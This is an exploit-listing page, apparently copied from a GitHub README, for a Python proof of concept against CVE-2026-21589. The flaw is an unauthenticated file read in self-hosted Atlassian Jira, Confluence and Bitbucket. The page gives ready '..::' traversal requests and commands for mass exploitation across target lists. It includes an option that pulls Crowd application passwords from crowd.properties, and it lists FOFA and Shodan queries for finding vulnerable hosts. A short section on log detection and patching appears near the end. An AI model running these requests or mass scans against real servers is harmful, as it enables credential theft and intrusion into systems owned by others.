Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • October 8, 2026

Python 3 PoC for **[CVE-2026-21589]( — **Atlassian Data Center / self-managed** products — unauthenticated **arbitrary file read** inside the **Tomcat web application root** via **`atlassian-plugins-webresource`** path handling (`::` → `/`).

| **CVE** | [CVE-2026-21589]( |

| **Products** | Bitbucket, Confluence, Jira (Software / JSM), Bamboo, Crowd, Crucible, Fisheye (DC / on-prem) |

| **Type** | Arbitrary file **read** (not write / RCE by itself) |

| **CVSS 4.0** | **9.3 Critical** (`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H`) |

| **PoCbit page** | [ |

| **Verify marker** | `POCBIT-21589-OK` |

| **Verified routes in PoC** | Jira, Confluence, Bitbucket |

**PoC focus:** `check` (WEB-INF probe + product markers), `exploit` (read known paths, optional `crowd.properties` parse), batch `-j`, JSONL + `hits.txt` / `exploited.txt`.

Shared library **`atlassian-plugins-webresource`** serves static plugin assets under routes such as `/download/resources/...`. In vulnerable builds, `Router.unescapeSlashes()` converts **`::` to `/`** after routing. Traversal segments shaped as **`..::`** become **`../`**, bypassing slash-stripping in `getResourceRelativeToWebResource()` and reaching **`ResourceFactory`** file reads.

- No directory listing — exact file path must be known in advance.

- Reads stay **inside the web app root** (not arbitrary filesystem outside Tomcat context).

- **Atlassian Cloud** is reported patched; this PoC targets **self-hosted** instances.

- **Not a web shell primitive** — read-only; further impact depends on configuration (e.g. Crowd SSO credentials in `WEB-INF/classes/crowd.properties`).

| Jira Software / JSM Data Center | 9.12.40, 10.3.26, 11.3.12 |

| Confluence Data Center | 9.2.26, 10.2.19 |

| Bitbucket Data Center | 9.4.26, 10.2.8, 10.5.1 |

| Bamboo Data Center | 10.2.24, 12.1.12 |

| Crowd Data Center | 6.3.7, 7.0.3, 7.1.7, 7.2.4 |

A["GET /download/resources/..."] --> B[Router]

C --> D[getResourceRelativeToWebResource]

GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1

GET /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..::..::WEB-INF::web.xml HTTP/1.1

**Bitbucket** (often `urlrewrite.xml` instead of `web.xml`)

GET /s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..::WEB-INF::urlrewrite.xml HTTP/1.1

If Jira is integrated with **Atlassian Crowd**, `WEB-INF/classes/crowd.properties` may contain **`application.name`** and **`application.password`**. With network access to Crowd, that can lead to identity-admin actions (separate from this CVE; Crowd IP allowlisting may block direct access). This repository **only reads and parses** that file when present — it does **not** automate Crowd user creation.

- [`requests`](

# Vulnerability check (tries Jira → Confluence → Bitbucket; plain :: then URL-encoded ::)

python poc.py -u --mode check

python poc.py -u --mode check --json

python poc.py -u --mode exploit --file WEB-INF/web.xml -o web.xml --insecure

# Try Crowd integration secrets (fails if file missing — check can still pass)

python poc.py -u --mode exploit --grab-crowd --insecure

python poc.py -u --mode check --product confluence

python poc.py --list targets.txt --mode check -j 25 --insecure

python poc.py --list hits.txt --mode exploit --grab-crowd -j 10 --insecure

# Mass exploit — read WEB-INF/web.xml on every URL in list

python poc.py --list list.txt --mode exploit --file WEB-INF/web.xml --insecure -j 6

python poc.py --list list.txt --mode exploit --file WEB-INF/web.xml --insecure -j 6

![Mass exploit — Jira WEB-INF/web.xml read (authorized targets only)](image.png)

Sample terminal output: `[VULN]` confirms the probe; `[EXP]` with `POCBIT-21589-OK:WEB-INF/web.xml` means the file read succeeded. Summary line writes **`cve_2026_21589_exploit.jsonl`**.

| `--mode check` | Probe WEB-INF; detect product via response markers |

| `--mode exploit` | After check, read `--file` (default `WEB-INF/classes/crowd.properties`) |

| `--grab-crowd` | Exploit reads `crowd.properties` and prints parsed app credentials |

| `--encode-colons` | Force `%3a%3a` encoding (default: try plain then encoded) |

| `--insecure` | Skip TLS certificate verification |

**Outputs (batch):** `cve_2026_21589_results.jsonl`, `hits.txt`, `exploited.txt`.

- Batch **`[VULN]`** — vulnerable Jira/Confluence/Bitbucket detected via WEB-INF marker.

- Batch **`[EXP]`** with **`POCBIT-21589-OK:WEB-INF/web.xml`** — requested file read OK (see screenshot above).

- Single-target **`[+] POCBIT-21589-OK jira @ …`** without **`[EXP]`** line — check passed; **`--grab-crowd`** may still fail if `crowd.properties` is missing.

- Exit code **`0`** on exploit only when the requested file read validates; otherwise **`1`**.

Scope: **self-managed** hosts. Exclude cloud SaaS where possible:

host!="atlassian.net" && host!="jira.com"

title="Log in - Jira" || title="Log In - Jira"

body="ajs-version-number" || body="jira.webresources" || body="atlassian.jira"

title="Log in - Confluence" || title="Log In - Confluence"

header="X-Confluence-Request-Time" || body="confluence.web.resources"

body="bitbucket.page" || body="com.atlassian.bitbucket"

**Web-resource surface (same family as this CVE)**

body="/download/resources/" && (body="atlassian" || title="Jira" || title="Confluence" || title="Bitbucket")

FOFA does not reliably expose patch level — always run **`python poc.py --mode check`**.

**Shodan (examples):** `http.title:"Log in - Jira"`, `http.headers.x_confluence_request_time`, `http.html:"jira.webresources"`.

- URL-decode access logs and look for **`..`** adjacent to **`::`**, **`%3a%3a`**, slashes, or backslashes (Atlassian advisory / CERT-EU 2026-015).

- If `WEB-INF` or `crowd.properties` access is suspected, **patch**, rotate Crowd application passwords, and review Crowd audit logs.

- [watchTowr — technical analysis](

- [watchTowr detection script](

- Atlassian Jira issues: [JRASERVER-79546]( [CONFSERVER-104488]( [BSERV-20604](

Use only on systems you **own** or have **explicit written authorization** to test. Unauthorized access is illegal.

- **Analysis / routes:** [watchTowr Labs](

- **PoC layout:** [PoCbit](

## GitHub repository description (copy/paste)

CVE-2026-21589 — Atlassian DC pre-auth arbitrary file read (CVSS 4.0 9.3). PoCbit PoC: atlassian-plugins-webresource ..:: traversal on /download/resources/ for Jira, Confluence, Bitbucket. check + exploit (WEB-INF/web.xml, crowd.properties). Batch JSONL, hits.txt. Not RCE.

Atlassian **self-hosted** ürünlerinde **`::` → `/`** dönüşümü ile **kimlik doğrulamasız dosya okuma**. PoC: **check** (zafiyet), **exploit** (bilinen yol ile okuma, isteğe **`crowd.properties`**). Dizin listeleme yok; web shell **bu CVE ile doğrudan mümkün değil**. Cloud hariç FOFA dorkları yukarıda; doğrulama için **`--mode check`** kullanın.

Extracted Entities

Attack Types (1)

CWE Weaknesses (1)

Tools (2)